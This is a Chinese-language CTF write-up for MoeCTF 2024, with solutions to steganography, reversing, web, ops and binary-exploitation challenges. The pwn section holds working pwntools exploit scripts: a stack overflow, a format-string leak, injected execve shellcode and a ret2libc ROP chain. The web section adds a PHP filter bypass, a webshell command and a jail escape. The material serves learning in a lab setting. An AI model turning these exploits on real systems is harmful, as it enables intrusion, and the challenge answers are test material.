本来计划从头做到尾的,但是临近hvv有点自顾不暇了((
0x00 安全杂项
0x00 signin
把除了luo的人状态都改为签到,把luo改为缺勤。
0x01 罗小黑战记
stegsolve.jar,第110帧存在二维码,扫描即可得到flag。
0x02 杂项入门指北
海报逆时针旋转90°,可以看到摩斯密码:
···· ····- ···- · ··--·- ·- ··--·- --· ----- ----- -·· ··--·- - ·---- -- ·
CyberChef解出明文为H4VE_A_G00D_T1ME
0x03 ez_F5
根据题目名称不难猜测是F5隐写。
使用010editor打开图片可以发现图片的密码为no_password。
git clone https://github.com/matthewgao/F5-steganography
java Extract suantouwangba.jpg -p no_password
0x04 moejail_lv1
根据题目提示,得知flag在/tmp中:
__import__('subprocess').run('cd /tmp && ls -al', shell=True)
__import__('subprocess').run('cat /tmp/.thereal*', shell=True)
0x05 The upside and down
def reverse_hex_file(file_path, output_path): with open(file_path, 'rb') as f: content = f.read() hex_content = content.hex() reversed_hex_content = hex_content[::-1] reversed_bytes = bytes.fromhex(reversed_hex_content) with open(output_path, 'wb') as f: f.write(reversed_bytes) input_file = '题目文件' output_file = 'flag.png' reverse_hex_file(input_file, output_file)
导出为一个二维码,反色后扫描即可看到flag。
0x01 逆向工程
0x00 逆向工程入门指北
pdf中给出的例子就是flag:
a = [123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22] for i in a: print(chr(i^22),end="")
0x01 xor
异或这一堆:
hex区看一下:
a = [0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16, 0x46, 0x10, 0x13, 0x1C, 0x40, 0x09,0x42, 0x16, 0x46, 0x1C, 0x09, 0x10, 0x10, 0x42, 0x1D, 0x09, 0x46, 0x15, 0x14, 0x14, 0x09, 0x17,0x16, 0x14, 0x41, 0x40, 0x40, 0x16, 0x14, 0x47, 0x12, 0x40, 0x14, 0x59] for i in a: print(chr(i^0x24),end="")
0x02 dynamic
使用x64dbg,在00007FF75AF81EF2处下了断点,F9运行可以看到flag:
0x02 大语言模型应用安全
0x00 Neuro?
0x03 Web渗透测试与审计
0x00 弗拉格之地的入口
robots.txt -> webtutorEntry.php
0x01 ez_http
POST /?xt=%E5%A4%A7%E5%B8%85%62 HTTP/1.1
Host: 127.0.0.1:2944
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: MoeDedicatedBrowser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: user=admin
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.xidian.edu.cn/
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
imoau=sb
0x02 ProveYourLove
抓包,Intruder爆破。
0x03 弗拉格之地的挑战
flag1:访问flag1ab.html,源代码中存在flag1为bW9lY3Rm
flag2:在响应头中flag2为e0FmdEV,同时响应头给出了下一步的地址为/flag3cad.php
flag3:GET传入参数a=1;POST传入b=2;Cookie添加Cookie:verify=admin,得到flag3为yX3RoMXN,下一步的地址为/flag4bbc.php
flag4:根据提示添加Referer,修改id参数为9,通过浏览器的控制台可以看到flag4为fdFVUMHJ,下一步的地址为/flag5sxr.php
flag5:抓包,POST参数“I want flag”,flag5为fSV90aDF,下一步的地址为flag6diw.php
flag6:观察给出的代码
<?php highlight_file("flag6diw.php"); if (isset($_GET['moe']) && $_POST['moe']) { if (preg_match('/flag/', $_GET['moe'])) { die("no"); } elseif (preg_match('/flag/i', $_GET['moe'])) { echo "flag6: xxx"; } }
这里第一步检测flag没有检测大写,所以GET传入?moe=FLAG即可,flag6为rZV9VX2t,下一步的地址为/flag7fxxkfinal.php
flag7:直接给了🐎,flag7在根目录里。what=echo `cat /flag7`;
(rbm93X1dlQn0=)
0x04 静态网页
尝试抓包的时候发现了可疑的信息:
<?php highlight_file('final1l1l_challenge.php'); error_reporting(0); include 'flag.php'; $a = $_GET['a']; $b = $_POST['b']; if (isset($a) && isset($b)) { if (!is_numeric($a) && !is_numeric($b)) { if ($a == 0 && md5($a) == $b[$a]) { echo $flag; } else { die('noooooooooooo'); } } else { die( 'Notice the param type!'); } } else { die( 'Where is your param?'); }
这道题我做的时候有两点坑,一是我这里Content-Length的值莫名其妙得手工改,二是代码中需要留意是$a的md5的值等于$b[$a]而不是md5($b[$a]):
POST /final1l1l_challenge.php?a=a HTTP/1.1
Host: 127.0.0.1:4469
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
b[a]=0cc175b9c0f1b6a831c399e269772661
0x04 开发与运维基础
0x00 哦不!我的libc!
参考了这个方法:戳我
下载了静态链接1.16.1版的busybox,用010editor打开,复制其16进制,用notepad++合并成一行每个前面加上’\x’,最后通过命令一次性写进去:
printf '\x7F\x45\x4C\x46\x02\x01\x01\……' > /bin/cp
亲测是可以的,但是会特别特别慢,需要耐心。
cp /bin/cp /bin/tac
,这样tac命令就可以用了,直接tac /flag.txt即可。
看flag的内容,我这个做法应该是预期解((。
原理相同的另一种方法:busybox太大了,直接写汇编代码读取/flag.txt,生成一个可执行文件覆盖原有的/usr/bin下面任何一条命令。
section .text
global _start
_start:
; Open the file
mov rax, 2 ; syscall number for open
mov rdi, file_name ; filename pointer
mov rsi, 0 ; flags (O_RDONLY)
mov rdx, 0 ; mode (ignored for O_RDONLY)
syscall
; Read from the file
mov rdi, rax ; file descriptor
mov rax, 0 ; syscall number for read
mov rsi, buffer ; buffer pointer
mov rdx, 100 ; buffer size
syscall
; Write to stdout
mov rdi, 1 ; file descriptor (stdout)
mov rax, 1 ; syscall number for write
mov rsi, buffer ; buffer pointer
syscall
; Exit the program
mov rax, 60 ; syscall number for exit
mov rdi, 0 ; exit status
syscall
section .data
file_name db "/flag.txt", 0
section .bss
buffer resb 100
生成可执行文件:
nasm -f elf64 cat_flag.asm -o cat_flag.o
ld cat_flag.o -o cat_flag
0x01 哦不!我的nginx!
这题也怪busybox太大了,一写入就会崩。第一步我先按照上面的方法,用汇编写了一段shellcode,读取题目机器中的/etc/nginx/sites-enabled/default文件,查看一下开放的WEB端口:
BITS 64
section .text
global _start
_start:
; Open the file
mov rax, 2
mov rdi, file_name
mov rsi, 0
syscall
; Read from the file
mov rdi, rax
sub rsp, 128
mov rsi, rsp
mov rdx, 9128
mov rax, 0
syscall
; Print the contents
mov rdi, 1
mov rsi, rsp
mov rdx, 9128
mov rax, 1
syscall
; Exit the program
mov rax, 60
xor rdi, rdi
syscall
section .data
file_name db "/etc/nginx/sites-enabled/default", 0
执行后发现web服务是80端口:
然后研究了很久,中间的绕路就不在这里细致的写了……
首先我编写汇编代码,监听80端口,并将所有请求包内容输出到终端上,在题目机器上执行后发现客户不断访问/var/www/html/files/目录下的内容:
这样一直都不出flag。题目说“如果客户高兴的话,就会给你 flag”,在暗示如果能成功访问文件(/var/www/html/files/*),应该就会以参数的形式返回flag。
所以让chatgpt帮我写了一个C代码(汇编要做到太麻烦了),模拟http.server,持续监听端口为80,根路径为/var/www/html/:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <fcntl.h> #include <sys/stat.h> #define PORT 80 #define BUFFER_SIZE 4096 #define ROOT_DIR "/var/www/html/" void handle_client(int client_sock) { char buffer[BUFFER_SIZE], method[16], url[256], filepath[512]; int bytes_read = read(client_sock, buffer, sizeof(buffer) - 1); if (bytes_read > 0) { sscanf(buffer, "%s %s", method, url); printf("%s %s\n", method, url); snprintf(filepath, sizeof(filepath), "%s%s", ROOT_DIR, url); int file_fd = open(filepath, O_RDONLY); if (file_fd < 0) { write(client_sock, "HTTP/1.1 404 Not Found\r\n\r\n404 Not Found", 40); } else { struct stat file_stat; fstat(file_fd, &file_stat); snprintf(buffer, sizeof(buffer), "HTTP/1.1 200 OK\r\nContent-Length: %ld\r\n\r\n", file_stat.st_size); write(client_sock, buffer, strlen(buffer)); while ((bytes_read = read(file_fd, buffer, sizeof(buffer))) > 0) write(client_sock, buffer, bytes_read); close(file_fd); } } close(client_sock); } int main() { int server_sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in server_addr = { .sin_family = AF_INET, .sin_addr.s_addr = INADDR_ANY, .sin_port = htons(PORT) }; bind(server_sock, (struct sockaddr*)&server_addr, sizeof(server_addr)); listen(server_sock, 10); while (1) { int client_sock = accept(server_sock, NULL, NULL); if (client_sock >= 0) handle_client(client_sock); } close(server_sock); return 0; }
记得静态编译,再用strip
命令除掉不必要的调试符号:
gcc -o simple_http_server simple_http_server.c --static
文件改成\x的格式,分段使用printf
传入,执行后即可接受到客户发送来的flag:
0x05 二进制漏洞审计
0x00 NotEnoughTime
算术就好,口算timeout所以需要写循环脚本。
#!/usr/bin/env python # coding=utf-8 from pwn import * r = remote('172.21.154.104',1212) r.recvuntil("1 + 1 = ") r.sendline("2") r.recvuntil("3 - 1 =") r.sendline("0") r.recvuntil("PREPARED!\n") for i in range(0,20): suan = r.recvuntil("=") suan = suan.split("\n") suan = "".join(suan)[:-1] result = str(eval(suan)) print(result) r.sendline(result) r.interactive()
0x01 no_more_gets
int __fastcall main(int argc, const char **argv, const char **envp) { char s1[80]; // [rsp+0h] [rbp-A0h] BYREF char s2[80]; // [rsp+50h] [rbp-50h] BYREF init(argc, argv, envp); arc4random_buf(s1, 80LL); write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL); gets(s2); if ( !strncmp(s1, s2, 0x50uLL) ) my_shell(); else write(1, "Password wrong!\n", 0x11uLL); return 0; }
gets()没做任何长度限制,直接可以溢出,记得平衡一下栈:
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r=process('./lockedshell') else: r = remote('192.168.64.63',1212) r.recvuntil("out.\n") payload = 'a'*0x50+p64(0)+p64(0x401278) r.sendline(payload) r.interactive()
0x02 leak_sth
unsigned __int64 func() { unsigned int v0; // eax __int64 v2; // [rsp+0h] [rbp-40h] BYREF __int64 v3; // [rsp+8h] [rbp-38h] char buf[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+38h] [rbp-8h] v5 = __readfsqword(0x28u); v0 = time(0LL); srand(v0); v3 = rand(); puts("Welcome to MoeCTF 2024"); puts("What's your name?"); read(0, buf, 0x20uLL); puts("Your name:"); printf(buf); puts("Give me the number"); __isoc99_scanf("%ld", &v2); if ( v3 == v2 ) backdoor(); else puts("Nice try"); return v5 - __readfsqword(0x28u); }
v3等于v2时进入backdoor(),漏洞点在printf(buf)
。v2可控,v3是一个随机数,可以利用格式化字符串漏洞泄露v3(rdi, rsi, rdx, rcx, r8, r9, v2, v3)的值。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r=process('./pwn456') else: r = remote('192.168.64.63',1212) r.recvuntil("name?\n") v3 = '%7$d' r.sendline(v3) r.recvuntil("Your name:\n") flag = r.recvuntil("\n") r.recvuntil("number\n") r.sendline(flag) r.interactive()
0x03 ez_shellcode
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r=process('./pwn789') gdb.attach(r,"b * $rebase(0x0012CD)") else: r = remote('192.168.64.63',1212) r.recvuntil("age:\n") r.sendline('999') r.recvuntil("gift for you :\n") nbytes_4_addr = int(r.recvuntil("\n")[:-1],16) shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" payload = shellcode+'a'*(0x60-len(shellcode))+p64(0xdeadbeef)+p64(nbytes_4_addr) r.recvuntil("say?\n") r.sendline(payload) r.interactive()
0x04 这是什么?libc!
PIE保护开了,题目给了puts函数的地址,算出libc基址再结合ROPgadget执行system(‘/bin/sh’)
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r=process('./prelibc') #gdb.attach(r,"b * $rebase(0x1201)") else: r = remote('192.168.64.63',1212) libc = ELF('./libc.so.6') r.recvuntil("libc: ") puts_addr = int(r.recvuntil(".")[:-1],16) libc_addr = puts_addr - libc.symbols['puts'] pop_rdi_ret = libc_addr+0x000000000002a3e5 ret = libc_addr+0x0000000000029139 system = libc_addr+libc.symbols['system'] bin_sh = libc_addr+0x00000000001d8678 payload = 'a'+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system) r.recvuntil("> ") r.sendline(payload) r.interactive()